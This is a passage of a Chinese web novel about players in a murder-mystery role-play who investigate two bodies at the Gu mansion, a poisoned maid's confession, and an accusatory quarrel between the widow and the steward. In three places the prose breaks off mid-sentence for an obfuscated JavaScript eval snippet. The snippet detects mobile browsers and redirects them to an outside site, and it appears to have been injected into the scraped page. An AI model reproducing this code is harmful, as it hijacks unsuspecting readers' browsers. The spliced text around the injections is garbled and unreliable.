【除集中推理环节及凶手指认环节外,请玩家依旧严格按照角色人物设定行事,避免OOC。】 听完系统提示音,小西长长地叹了口气:“行,这系统还是挺贴心的,给我们留了11分钟的适应时间。” 又对着沈南南和冷砚冰无奈撇嘴:“一会儿我又要变回张顺才了,如有误伤,请多见谅。” 冷砚冰拍了拍小西的肩膀:“没事,我们充分尊重你的角色,不会上升玩家本人的。” 小西苦笑一声:“小冷,你可真是个好人。” 沈南南抿嘴笑了声,又将讨论的话题拉回到案情上:“不过,下一轮自由搜证虽然看起来时间长,但是搜证地图却扩大了,我建议还是应该理一理接下来搜查的重点,比如管家、薛护卫、珠儿,还有查清那具浮尸的身份。” “还有那个消失不见的舞姬红莲!”小西补充道。 冷砚冰沉吟片刻:“说到消失不见,还有从牢里消失了的晦明法师、无故身亡的柳姨娘。” “还有这么多要查,一会儿还是只能按照老规矩,分头行动了。”沈南南建议。 达成共识,三人坐回扶手椅。 冷砚冰背脊贴着椅子,端坐着闭目养神;沈南南耷拉着眼皮,左手托脸脑袋放空;小西则将以手握拳支着脑袋,闭着眼,嘴里却默念着方才几人讨论的重点和自己接下来的台词,生怕忘记。 等了一会儿,又听到一阵熟悉的摇铃声。 【自由搜证环节开始啦!限时13个小时哦。】 系统话音刚落,便听门外传来声响,门外衙役禀报:“大人,顾府的夫人和管家到了。” 闻言,小西猛地睁开双眼,从扶手椅上弹射起来,理了理官袍,又将背挺直,双手交叠背于身后,清咳了两声,沉声道: “请进来。” 见小西一脸严肃,沈南南和冷砚冰知道,她又变回县太爷张顺才了,也立马起身,垂手立于她身侧。 衙役将门打开,顾夫人身后跟着管家,见了县太爷三人,皆上前行礼。 “夫人不必多礼,请坐吧。”县太爷做了个相请的手势。 顾夫人道了声谢,又请县太爷上座,自己则坐于右侧次位,接着吩咐侍女上茶。 县太爷也不便客套,开门见山道:“夫人,本官夤夜前来,多有叨扰。想必方才夫人也瞧见了门口那具尸体。那正是本官手下的沈师爷、冷捕头二人无意在西院池中发现的。她二人传信回衙,本官这才匆匆赶来。此命案与茂林兄之案相隔仅一日,且均发生于贵府之中,只怕两起命案之间牵连甚密。” 一番文绉绉的话说下来,沈、冷二人在一旁听了,不禁暗叹,小西这准备工作做得的确够充分。 顾夫人闻言,不仅毫无责怪之意,反倒起身向县太爷施以一礼,泫然欲泣道:“大人哪里的话,府上命案频发,本是不祥之兆,大人不辞辛苦前来查明真相,替妾身做主,还亡夫公道,妾身谢还来不及,如何能是‘叨扰’?” 顾夫人看上去本就极度悲伤、柔弱不堪,县太爷心中不忍,眼看就要伸手将顾夫人扶起,一旁沈南南眼疾手快,立即上前,赶在县太爷之前将顾夫人扶回座位。 县太爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439075|169344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻咳两声,掩饰尴尬:“夫人言重了,此乃本官分内之事。” 顾夫人欠身道了句:“多谢大人。”继而眼神往房门外的尸体看去,不安地询问,“只是不知……这死者是何人?” “瞧这死者衣衫,像是府中侍女,恐怕还需夫人和管家亲去辨认。” 顾夫人和管家虽不忍见那尸体的惨状,但听了这话,还是起身缓步走到门外,捂住口鼻查看了一番。 只是那具尸体被水泡过,皮肤肿胀皱缩,只能依稀辨认出是位女子,但具体是何人,两人均都说不上来。 县太爷微微侧身,和一旁的沈、冷二人交换了个眼神:咋办? 沈南南心中已有主意,低声在县太爷身旁耳语了几句。 县太爷用口型回了个“哦”,便又严肃地对顾夫人道:“为今之计,恐怕只能劳动夫人召集府中所有女子,以供查验了。” 顾夫人道了声“是”,向管家吩咐,命府中所有女婢前来暗香阁问话。 待顾府的女婢们陆陆续续地在西院中站立,一个身量较小、身形中等的中年男子从人群中挤了进来。 男子背着一个木箱,一路小跑着过来,累得气吁吁,抬眼瞧见上首的县太爷,立马上前行礼:“大人!” 听见县太爷命他快起身后,抬眼瞧见一旁站立的冷砚冰和沈南南,点头向二人示意。 那来人正是衙门的仵作林白术。 眼看院子里顾府的女婢们还未到齐,然而时间一分一秒过去,众人却又不好在此处空等,冷砚冰提议:“要不先让林叔验尸吧。” 县太爷点头,走到门边,又见屋外光线昏暗,便吩咐门外两个衙役将尸体抬进屋内。 沈、冷二人跟在县太爷身侧,冷砚冰向二人眼神示意,看向桥对面正在清点人数的管家,用口型道:分头行动。 沈南南和县太爷会意,略微颔首,县太爷便吩咐道:“冷然,你去那边,帮着管家将府中女子查问清楚。沈南南,你进去协助林白术验尸。” 沈、冷二人应诺,接着冷砚冰上桥往院子里去,沈南南则和县太爷回到暗香阁内。 县太爷和顾夫人坐在上首,尸体则摆在正厅之中。 沈南南将房中烛台放置在尸体身旁不远处,为林白术照亮。林白术向沈南南点头示意,接着将随身携带的箱子打开,先将验尸格录和笔墨交与沈南南,烦请她在自己喝报时帮忙填写。 沈南南执笔在纸上试了试,发现自己能够熟练地书写后,向林白术点了点头。 林白术接着从中取出一粒苏合香丸含在口中,带上面罩,正式开始验尸。 随着林白术一声声“验——”,沈南南飞快地在验尸格录上书写。 “验,死者女,年约十六至十八。” “验,头部有多处挫裂伤,形状不规则,长约四寸,痕黑色,挫伤处凹陷,头骨多有碎裂。” “验,尸体肉色带黄不白,口眼开、两手散,双目全然浑浊,手缝处无泥沙,手部皮肤易剥落。” “验,肚中不胀,口眼耳鼻无积水流出。” “验,脚底虚胀不皱白。” “验,骨骼柔软,腿部和脚部骨骼有明显畸变。” …… 林白术那边验完,将一切收拾齐整。沈南南则也填写完毕,将验尸格录递给他,让他查看是否妥当。 林白术接过,道了声“有劳”,仔细核对无误后,赞许地看了沈南南一眼,又接过笔,将空白处填写完整。 死亡时间:约一日。 要害致命伤:头部受钝物击打所致的挫裂伤。 竟然不是溺死的?沈南南生出疑惑。 县太爷原本端坐着,听着房中林白术验尸,眼神却飘向院子里,看着桥那头的冷砚冰和管家清点人数,此时见屋内没了林白术的报喝,这才反应过来,立即起身走过来: “如何了?” 顾夫人也跟在县太爷身后,缓缓走过来。 林白术将验尸格录呈给县太爷过目。县太爷拿在手中匆匆一撇,也发出同样的疑惑:“不是溺水而亡?” 林白术解释道:“回大人,若是溺死,那么尸体必然会面色发红,腹部、口鼻内也一定会有积水。” “原来如此。”县太爷恍然大悟,和沈南南交换了一个眼神,同时看向门外,“那么眼下最紧要的,便是确认这具尸体的身份了。” 这时,院子中的管家已将府中所有女婢清点完毕,将名册递与冷砚冰。 见冷砚冰疾步穿过石桥回到暗香阁中,县太爷又连忙问道:“如何了?” 冷砚冰上前道:“顾府现有女婢二十三人,唯有一人未到,正是顾夫人的贴身侍女……珠儿。” __________________________________ [1]【唐】韦庄《菩萨蛮·如今却忆江南乐》 10. 红衣女 “夫人,你最后一次见到珠儿是什么时候?”县太爷语气中带着些焦急。 “是晚膳时分……”顾夫人回忆片刻,看向沈南南和冷砚冰,“彼时,两位官娘子同在。” “的确是这样。” 沈南南回道,又和冷砚冰交换了眼神,相互确认了自己都有在那时看见珠儿。 她二人从亥时集中搜证开始起,便时刻留意着时间,略微回想,沈南南便径直道:“晚饭后,我同冷捕头在小少爷房中与珠儿又聊了一会儿,此后便告辞回房了,那个时候应当是戌正时分。” 林白术听了,在县太爷身侧低声道:“大人,那这具尸体就不是珠儿。” 县太爷正欲发问,忽得瞥见手中的验尸格录上,赫然写着尸体的死亡时间——约为一日。 现在刚过了子时,离晚饭戌正时分不过四个多小时。 如果这具尸体不是珠儿,那会是谁?珠儿又去了哪里? 县太爷在心底沉思,不自觉将最后一个问题问了出来。 顾夫人摇了摇头,语气平稳:“因这两日柳姨娘不在,宗儿睡不安稳,妾身便派了珠儿贴身照料。加之这两日府中诸事操劳,晚膳后,妾身便回房入睡了,至于珠儿在与两位官娘子分别后去了哪里,妾身也不得而知。” 顾夫人话音刚落,一阵邪风忽得从窗外吹了进来,惊得沈南南一身哆嗦,忍不住打了个喷嚏。 暗香阁自水而建,且四面皆有窗,此前因顾夫人担心屋内尸气太重,故而命人将所有窗户都齐齐打开来,此时夜黑风高,从屋外池水吹进来的风本就格外的冷,加之沈南南的上衣袖和胸口在方才打捞那具浮尸时被池水泡过,此时更是紧紧贴在身体上,实在无法抵御这突如其来的寒风。 “还好吧?”冷砚冰一旁,用手背轻轻触碰到了她冰凉的手,诧异又担心地问,“你手怎么这么凉?” 屋中几人齐刷刷地看过来,沈南南颇难为情地摇了摇头:“我没事,就是突然有点冷。” “更深露重,大人与几位切莫着了凉。” 顾夫人隐藏住眼中一闪而过的别样情绪,对沈南南柔声道,“这里应当还有一些干净的衣物,沈师爷若是不嫌弃,同妾身去内室寻一件披风穿上吧。” 沈南南连忙拒绝:“夫人实在是客气,不用了。” 她实在不想因为自己的缘故耽误了自由搜证的时间。 县太爷也担心沈南南感冒:“一件披风而已,耽误不了多久,快去快回吧。” “是啊。”冷砚冰也道。 见众人都这般说,沈南南也不便推辞,对顾夫人微微欠身,道了句“有劳夫人”,便随其脚步绕过左侧的屏风进了内室。 在那一人高的黄花梨木衣橱面前,顾夫人请沈南南在一旁稍候。 沈南南客气地点头道谢,看着顾夫人背过身去。 顾夫人抬手,刚刚触碰到那衣橱的把手,却似乎觉得,衣橱的门似乎有些向外倾斜。 她略感疑惑,然而还未及多想,柜门却“砰”的一声,自己向外打开了! 伴随着一声尖利的叫声,一只黑猫以迅雷不及掩耳之势跃了出来,沿着顾夫人的脚边飞快地跑走了。 沈南南被那黑猫吓得一个激灵,然而还未来得及害怕,下一瞬,她却猛地看见那衣橱中有什么更大的东西倒了下来。 许是被那只猫吸引了注意力,顾夫人躲避不及,“咚”地重重一声,衣橱中的东西竟就这样倒在了她的身上。 又或者说,是顾夫人主动伸手接住了。 一张双目圆睁、七窍流血的脸就这样静静地靠在顾夫人的肩头,直直地向沈南南盯过来。 沈南南看清了,倒在顾夫人怀中的是一个身着正红衣裙,画着精致妆容的女人! 这张脸触目惊心,却令沈南南有些熟悉。 “柳……柳姨娘?”她音色颤抖。 可柳姨娘不是已经死在了牢里,又怎么会出现在这里…… 沈南南陡然惊觉,这实在算不得一个人,而是一具——尸体。 霎时,脑中闪过她方才在湖中猛然瞥见的窗边的那身红衣,口中已经无法抑制地惊叫出声。 冷砚冰等人发现动静,立马冲向内室,映入眼帘的便是这诡异的一幕—— 沈南南被吓得坐在地上,而顾夫人站立着,任那具从衣柜里倒出来的红衣女尸靠在她身上,神魂落魄、目光呆滞。 冷砚冰上前将沈南南扶起,县太爷高声惊呼着,焦急地唤来两个衙役,将那具女尸从顾夫人身上扶下来,移到外间。 待两人将尸体平躺放置在地面上,管家这才看清那女尸的脸,不可置信地道:“柳,柳姨娘?” “什么?!”众人跟着退出内室,闻言皆是诧异万分。 沈南南声音已有些干涩:“真……真的是柳姨娘?” “不是……”顾夫人这才像是回过神来,气若游丝地出声,“是……珠儿……” 县太爷命衙役唤了两个婢女进来,将顾夫人扶到外间休息。 沈南南瞥见,顾夫人的侧脸处似有未干的泪痕。 又见冷砚冰上前查看,沈南南强忍住惧意,跟着过去,却离那尸体有一两步的距离。 冷砚冰蹲下身:“的确是很像柳姨娘。不过,瞧着好像哪里又不太一样。” “这是珠儿,肯定是!” 管家激动道,“她身上这件衣服虽然是柳姨娘的,乍一眼看虽然两人虽然很是相像,但珠儿的身形却比柳姨娘矮小圆润一些。” 冷砚冰音色淡淡地评价了句:“管家观察倒还挺仔细。” 沈南南这才想起,午后在顾府后山初见珠儿时,她便觉得似曾相识,如今恍然大悟,却仍有一丝不解:“可我们之前见到珠儿,她看起来与柳姨娘还没有这么相像。” “可能是妆容的原因。”冷砚冰仔细地将珠儿的面容观察了半晌,得出结论,“如果她想要刻意模仿一个人的话,妆容可以暂时改变一个人的样貌。” “你的意思是说,珠儿她在模仿柳姨娘?” 沈南南心脏漏了一拍,又忍不住看向那袭正红衣裙,“你们觉不觉得,珠儿这妆容浓重像是行嫁娶之礼?还有这身衣服的颜色,看起来像是嫁衣。” “还有这胭脂的色泽……” 冷砚冰低声自语,却忽地起身进了内室,片刻后,将一盒胭脂拿了出来,看向林白术:“劳林叔帮忙查验一下,死者唇上的胭脂与这盒中的可是一样的?” 见县太爷眼神示意,这才接过胭脂盒,从工具箱中取出一根前段粘有棉花的木棍,将尸体唇上的胭脂抹了一些下来,又与盒中的仔细比对了颜色气味,道:“的确是一样的。” 县太爷弯着腰,看着林白术查验,立即道:“难道你推测,是这个珠儿特意买了柳姨娘一样的胭脂水粉?” 冷砚冰强调:“我想珠儿如今所用的胭脂,就是这盒。” 众人闻言,俱是一惊。 冷砚冰瞥了眼一旁的顾夫人、管家,对县太爷道:“大人,此前我同沈师爷进入暗香阁时,发现梳妆台上的胭脂被人动过。这盒胭脂旁的一只唇刷上,还粘着湿润的胭脂膏体。所以我推测,在我与沈师爷进入之前,珠儿便在房中了。待发现我们进到院中后,她便立即躲进了内室的衣橱里。” 县太爷回想起系统提示的集中搜证时间:“那个时候,是亥初至亥正时分吗?” “是。”沈南南此时心下已平静不少,“在这期间,我们发现了池中的尸体,在乘船打捞时尸体,也看见当时窗边站着一个红衣女子,想来那多半就是珠儿。” 在集中搜证阶段,系统设置了证据保护模式和搜证地图禁制,未进入搜证地图的玩家和NPC是不能进入且不能离开的。而在地图禁制关闭后,县太爷第一时间便率队进入了暗香阁——直到现在。 “也就是说……珠儿自亥时以前进入暗香阁之后,就再也没有离开了?且亥初至亥正这这半个时辰内,暗香阁中除了你二人,就只有珠儿在,是吗?” 县太爷总结得很是到位,沈、冷二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439076|169344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皆回了声“是”。 县太爷颔首,沉吟片刻,对林白术道:“先验尸吧。” 林白术欠身,恭敬地应诺,如方才那般取出一应工具,由沈南南从旁协助,开始验尸。 一声声喝报此起彼伏,忽然间,林白术的声音却停了下来。 沈南南手中的笔顿住,诧异抬头,只见林白术竟从珠儿的怀中取出了一个信封和一只小药瓶。 林白术将那封信呈给了一旁的县太爷,而自己则打开药瓶仔细查验,发现里头还残留着一些液体。 林白术眉头微皱,低声道:“这竟也是提取至君影草的浓缩毒液……” 君影草含有剧毒,其叶毒性极强,而饮下这样的浓缩毒液,顷刻间便会毒发身亡。 而林白术之所以说“也”,是因为昨晚顾员外饮过的茶水也发现了君影草毒液。 冷砚冰道:“我记得林叔你说过,君影草毒液从原料获取和制法都并非易事。而且那瓶毒药从柳姨娘的房中搜了出来后,就已经作为物证存放在了仵作房的冰窖中,并有专人把手。” “那不就是说……”沈南南话说了一半,警惕地瞥了眼一旁的顾夫人和管家,和冷砚冰、县太爷交换了眼神,没有将后面半句话说出来。 但两人也大致懂了沈南南想说什么:顾府中持有这种毒药的绝对不止一人! 县太爷看了眼桌上的茶盏,觉得此情此景和昨晚何其相似,还好她心系案情,根本没来得及喝茶。 “林白术,你先继续验尸。” 县太爷吩咐着,这才打开信封,拿出信纸飞快地看了一眼,脸色大变,又恐反应太过耽误验尸进度,便什么又没有说,只将信拿给了冷砚冰让她也看。 两刻钟后,林白术验尸完毕,沈南南停下笔,再将验尸格录交还给林白术,由他填写完整。 死者即珠儿,周身并无半点其他伤痕,唯独七窍流血,肚腹青胀,手足指甲均呈青黑色,抹去厚重的胭脂,嘴唇呈暗紫色,确系中毒身亡。 而她口中残留的毒素竟与那小药瓶中的一般无二,可以断定,珠儿死于君影草之毒。 而她仅眼部与下颌处有轻微僵硬,腿部及臀部后侧有淡红色尸斑,但未完全固定,且无明显尸臭。 这说明,珠儿的死亡时间距离此时竟约为一个时辰! 县太爷将验尸格录从林白术手中接过,了然道:“一个时辰左右,那应该是亥正时分。方才也说了,亥初至亥正这这半个时辰内,暗香阁除了珠儿,就只有冷捕头和沈师爷在,且这瓶君影草毒液又在她身上搜到,那她只能是自行服毒的了。” 说罢又看了看冷砚冰和沈南南,眼神询问她们的意见,沈、冷二人皆点了点头,认可她的推测。 县太爷这才将那封从珠儿怀中搜出的信件展开,递给沈南南:“还有这个。” 字写得歪歪扭扭,沈南南一看,竟是珠儿的认罪书。 “本人珠儿,因主君主母苛待,欲将我赐与管家为妾。管家顾敬淫.乱.成性,我不愿委身于他,故对主君主母怀恨在心,于昨晚在其茶水中下毒,又欲毒害其子为由胁迫柳姨娘顶罪。因果终有报,珠儿自知罪孽深重,现自裁以谢罪,望还柳姨娘清白。” 沈南南细细读来,忽然想起今日午后在凉亭中与珠儿交流时的情形。 那时珠儿谨小慎微,脸上几乎没有笑容,只怕除了顾员外身死,还有即将被迫嫁给管家的缘故。 她自知与薛护卫再无可能,又因心中愧疚而写下认罪书后服毒自尽后,如此盛装打扮,是想按照自己的心意,在死前嫁给薛护卫吗? 可又为何偏偏选在柳姨娘的房中,换上她的衣裙,用她的胭脂水粉? 沈南南心中有诸多疑问,低头思索着,却听冷砚冰对县太爷道: “大人,若这信真的是珠儿所写,那毒杀顾员外的,应当就是珠儿。” 县太爷问:“为何这般笃定?” “因为昨晚案发时,给顾员外和夫人沏茶的婢女,也是珠儿。”冷砚冰回道。 11. 述秘辛 “大人,这封信妾身可否一观?” 见验尸完毕,堂上的顾夫人走了过来,声音微弱地讯问。 县太爷将信双手递过去:“夫人请看。” 顾夫人手指微微发颤地接过,将那封认罪书细细读过之后,良久后才道:“这的确是珠儿的字迹。她这手字,还是四年前她到妾身身边时,妾身手把手教她的。” 说罢又将信件交还给县太爷。 县太爷接过,顺着冷砚冰的推测道:“既如此,那么杀害茂林兄的凶手的确是珠儿了。” 那么——顾府一案这就真相大白了吗? 县太爷心头疑惑,又见顾夫人此时已经面无血色,她如今的模样瞧着竟比午后除时更为憔悴。 闻言,顾夫人疲惫地闭上双眼,任由一行泪水滑落,似乎此前强撑着的精神在此刻尽数崩塌。 她哽咽道:“既如此,妾身亡夫于九泉之下便能够安息了。” 县太爷见顾夫人如此,也不觉有些动容,默了几息,真诚地安慰道:“夫人,请节哀。” 顾夫人恳切道:“大人,既然珠儿便是杀害亡夫的真凶,那么柳姨娘何时能够释放回府?大人您也知道,家中独子年幼,最是离不得她的。” 县太爷怔住,踌躇着不知该如何说出柳姨娘在牢中已然身死的事实,连忙向沈南南和冷砚冰投以求助的眼神。 然而沈南南注意力没在这边,她正思考着珠儿的认罪书中的内容。 此前她忽地瞥见,管家垂手默默立在一旁,眼中既无悲伤又无诧异。他虽没有看到珠儿那封认罪书的内容,但方才也听见了她们的讨论,怎会如此平静? 而冷砚冰听到顾夫人的话,也陷入了沉思。 她想起卷宗上说,顾夫人与柳姨娘分明关系不睦,又怎会这般在意柳姨娘何时回府?难道不是应该希望柳姨娘永远不回来吗? 县太爷夸张地连咳几声,沈、冷二人这才回过神来。 沈南南先道:“夫人,我有一个疑问,您方才说,这封认罪书的确是珠儿所写,那么她信中所说的,您与顾员外要将她嫁与管家为妾这些事,也是真的吗?” 沈南南看着顾夫人,然而眼神却微微瞥向一旁的管家。听到沈南南提到自己,管家立即警惕地看了过来。 “确有其事。”顾夫人点头,淡淡地撇了一眼管家,“今年以来,管家曾多次向亡夫求娶珠儿,想要纳她为妾,是妾身不舍珠儿,回绝了他。可后来亡夫还是同意将珠儿许配给管家。” 沈南南却道:“夫人为人亲善有礼,又亲自教授珠儿习字,想必将来也是会为珠儿寻个好人家的。可珠儿信中所言,想来管家人品不堪托付,她既然不愿,你与顾员外为何又要强迫于她?” 管家在一旁焦急叫道:“大人明鉴啊!珠儿这毒妇这无凭无据的话哪里能当真?当初就是她这毒妇勾引的小人,无奈被人撞破。” “小人念其清白之身,这才好意向主君求娶,想要纳她为妾,谁曾想这毒妇竟不知好歹,想是看不上妾室的名分!不仅做出毒害主君之事,现在竟还留下这样的话来编排小人,毁小人名誉!” 县太爷睨了管家一眼,向顾夫人求证:“夫人,珠儿信中所说关于管家之事,可是真的?” 顾夫人咬紧牙关,像是下了某种决心,“咚”地一声跪了下来。 县太爷等人猝不及防,后退半步:“夫人,你这是何意?” 却听顾夫人声音颤抖着:“回禀大人,关于管家的事,确如珠儿信中所言。” 顾管家听闻,瞬时大惊,也跟着跪了下来:“夫人,你可不要信口雌黄!” 顾夫人此时双眼已是通红,目不斜视地看向县太爷,陈述道:“大人,管家顾敬本是亡夫族弟。亡夫曾与妾身说过,公婆早逝,他年少时曾在顾敬家中久住,受顾敬一家恩惠颇多。” “后来亡夫考取秀才,又与妾身成婚,得知顾敬父母亡故,顾敬又因家中贫寒卖身妾身娘家梅府为奴,便向梅府要了顾敬身契,让他在顾府当了管家。故而,亡夫对顾敬颇为信任甚至纵容,有些事多半睁一眼闭一只眼。” “亡夫因着江南一带的生意时常外出,府中之事多交由顾敬打理。未曾想顾敬竟趁着亡夫外出,偷偷潜入柳姨娘的房中欲行不轨,好在妾身带人及时柳姨娘将救下。” “待亡夫归来,妾身便将此事如实相告,但亡夫念及顾敬乃其族弟,只责骂一番,罚了半年份例,以作惩戒。此后顾敬虽不敢对柳姨娘有任何逾矩。” “然而过了不久,顾敬竟然却对妾身的贴身婢女珠儿也起了歹心。只怕也是因珠儿与柳氏的容貌颇为相像的缘故。正如妾身方才所言,顾敬曾多次向亡夫求娶珠儿,想要纳她为妾,但妾身都回绝了。” “未曾想顾敬居然诱骗珠儿,好在府中的薛护卫听到呼救,将珠儿救下。可这次顾敬再次向亡夫请求,亡夫便许下了这桩婚事。因亡夫坚持,妾身也不敢忤逆,只好相依……” 话及此处,顾夫人有些哽咽,顿了片刻,然而一旁的管家顾敬像是找准了机会,激动地反驳道:“荒谬!眼下老爷、珠儿已死,梅氏,你此言不过是一面之词!” 又看向县太爷,“大人断不可轻信!小人的为人,大人怎会不知?” 县太爷听了顾夫人的话,已是眉头紧锁,见一旁的沈南南、冷砚冰皆是一副如吃了苍蝇般的难受表情,岂料又听见管家说出这一番话,像是与自己很是相熟一般,冷冷地瞪了他一眼,沉声回了句:“不知。” 管家错愕地哽住,张了张嘴没发出声音来。 冷砚冰看着管家,冷笑一声,道:“当年之事到底如何,还有另一个人证,那便是柳姨娘。加之我方才翻看府中奴仆的名册,不少人在这府中已有五六年,想必对此也有所耳闻。管家是否如珠儿所说的那般,只需将府中众人好好讯问便知。” 此言一出,果见管家低着头一脸惧怕,脸色苍白,头上虚汗直冒,却像是心下一横,只对县太爷大声道:“大人,当年之事小人无可再辩,可眼下珠儿毒害我家老爷一事,才是另有隐情!珠儿平日里胆子小,绝对不可能做出毒杀主君这种大逆不道的事,更何况林仵作也说了,下在我家老爷茶水中的毒很是罕见,她一个小小的丫鬟,若背后无人指使,又怎会有这样的毒药!” 言罢,管家恶狠狠地瞪着顾夫人,话中之意不言自明。 县太爷几人齐齐看向顾夫人,见她面对管家的攀咬,依旧神色坦然,甚至蔑了管家一眼:“顾敬,你还有什么话,今日都一并说出来吧。” 管家也笑了一声,冷声道:“梅氏,你当真不进棺材不掉泪。” 继而仰头看向县太爷,换了一副诚恳万分的表情,“大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439077|169344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明鉴——” “这种毒药并非第一次出现在小人府中。四年前,也就是调露十年,我家老爷纳了一个叫舒媚儿的江南女子为妾。那舒姨娘怀有身孕,竟中了毒。然而那毒性之烈,半刻钟不到,舒姨娘便连同腹中胎儿一起,当场殒命。大人你猜如何?那舒姨娘的死法竟同我家老爷一模一样!” 闻言,县太爷和沈、冷二人面面相觑,惊讶于管家竟然扯出这样一庄陈年旧案来。 “后来我家老爷大怒,派了好些人手搜查。”管家看着顾夫人,阴恻恻地笑了一声,“说来也巧,最后那瓶毒药竟然是从梅氏当年的贴身侍女芸香房中搜出来的。” 顾夫人却未曾看过管家一眼,目不斜视地对县太爷道:“大人,当年毒害舒姨娘的的确实是我的贴身侍女芸香,但芸香下毒一事妾身当时并不知情。据芸香亲口所言,是因舒姨娘平日太过跋扈,曾无端重责过她,她因此怀恨在心,这才在舒姨娘的茶水中下了毒。为此亡夫也已将芸香乱棍打死,以命抵命。” 顾管家不依不饶,直嚷道:“芸香和珠儿都是你的贴身侍女,若无幕后主使,她们哪里来的手段去寻来这般罕见的剧毒?!” “顾敬,你此言有何证据?若我是当年的幕后真凶,老爷为何并未处置?更何况,芸香和珠儿虽为我的贴身侍女,却并非长在我身上,她们若是通过其他手段获取毒药,我又怎会得知?” 顾管家冷笑一声:“当年如果不是梅家将你保下,你现在早已是我顾家的弃妇了!况且,这毒药如果不是借当年芸香之手留了下来,又怎会再次出现在顾府?你又如何能故技重施?” “这话说得倒怪,侍女因自身恩怨毒杀旁人,老爷当年到底也只是怪我治家不严、管教下人不力,何至于休妻?” 顾夫人偏着头睨着管家道,“哦对了,我差点忘了,不只四年前,还有昨天晚上,搜出那毒药的不都是顾敬你吗?当年舒姨娘一案,老爷并未报官,听说那病毒药当年也是交由你处理的。你如此近距离地接触过这毒药,我可是连它的瓶身都未曾触到过,怎么如今我倒成了那个最可能使用这毒药之人了?” 听到这里,县太爷几人眸光一闪,对视一眼,皆想起她们方才推测,顾府中持有君影草毒液的不止一人。 “这……”管家哑口无言,他方才所言不过是个人揣测,并无确凿证据,眼下同顾夫人争论不过,反倒惹了一身膻,只好悻悻闭嘴。 顾夫人却直直地看向县太爷,眼中泛有泪光:“大人,管家顾敬所提的不过是府中一件已处置妥当的陈年旧案,虽说作案手法与亡夫被杀一案相似,但到底不过是顾敬捕风捉影罢了,实在当不得真。遑论妾身当年久无子嗣,家中妾室有孕实乃天大的喜事,妾身又怎会去残害一个无辜的孩子呢?” 沈南南见顾夫人如此,也有些动容,想起她对小粽子视如己出,不觉在心中确认了她此番话的真实性。 可管家却恶狠狠看向顾夫人,吼道:“梅氏!舒姨娘的事或许不是你做的,但毒害老爷的除了你还能有谁?!” 顾夫人只拿眼角余光瞟着了管家一眼,冷笑道:“这话又是从何说起?” “若不是你担心与那薛护卫的私.情.暴.露.,又何至于这般急切的毒杀老爷?!” 听见这话,顾夫人转头冷漠地瞪了过去,那眼神,像是在看一条疯狗。 12. 判真凶 暗香阁中,县太爷已端坐上位,沈南南、冷砚冰几人立于其身侧,听着顾府的夫人和管家跪在地上各自陈情、激烈交锋,着实未曾料到顾府众人的关系,竟会乱成这样。 当众人以为,顾夫人面对管家此言,再无可辩驳之时,只听她冷笑一声:“顾敬,我以为你要说什么?你说除了我,便再无人有理由杀害老爷,这话当真是可笑至极。” 她死死地盯着管家的脸,质问道:“你本是老爷的族弟,老爷虽为你向梅府要回了身契,却让只你在府中做个管家,看似风光,实则仍为贱籍,不得自由之身,难道你就不曾对其怀恨在心?你这么多年来奴颜婢膝,却对老爷的妾室、府中的侍女屡次生出不轨之心,这般胆大妄为,难道不是已经生出想要取而代之的想法?” 听到顾夫人竟说出这般话来,管家双眼睁大,张了张嘴还未来得及辩驳,却见顾夫人已对县太爷恳切道: “大人,您应当知晓,昨晚那毒药不仅下在了亡夫的茶水中,更是下在了妾身的茶水中。若妾身稍有不慎,便也将同亡夫一般命丧当场,而彼时最大的获益者不就是顾敬这位族弟吗?” “我家宗儿尚且年幼,如此顾敬岂不是可以顺理成章地掌握整个顾家?定是顾敬以未来夫主的身份胁迫,珠儿才不得不在亡夫和妾身的茶水中下毒。可怜珠儿何其善良,即便恨毒了顾敬,却到死也不愿供出他这个幕后主使!” 管家恼羞成怒,大喊道:“你这疯妇!休要当众污蔑于我!” 又朝着顾夫人急切地反问,“你何必顾左右而言他,我对老爷忠心耿耿,倒是你与那薛仇不清不楚,定是为了要与他做长久夫妻所以才对老爷痛下杀手!” 顾夫人冷漠地蔑了管家一眼:“且不论你对老爷是否当真如你所说的那般忠心,你之前无凭无据攀诬我指使珠儿下毒,如今又污蔑我不守妇道,我与那薛护卫清清白白,你空口白牙,凭什么就将这些天大的罪名扣到我头上?” 管家冷哼一声:“凭那薛仇时常出入你的院子,竟越过我这边为你采买物件,你敢说你们没有私相授受?” “就因为这个?” 顾夫人冷笑着摇了摇头,实在觉得这话荒谬至极,目不斜视地向县太爷陈情,“请大人明鉴,妾身因平日喜爱看一些时新话本,特意向亡夫求了人定期寻来,那薛护卫便是亡夫亲自指派。” 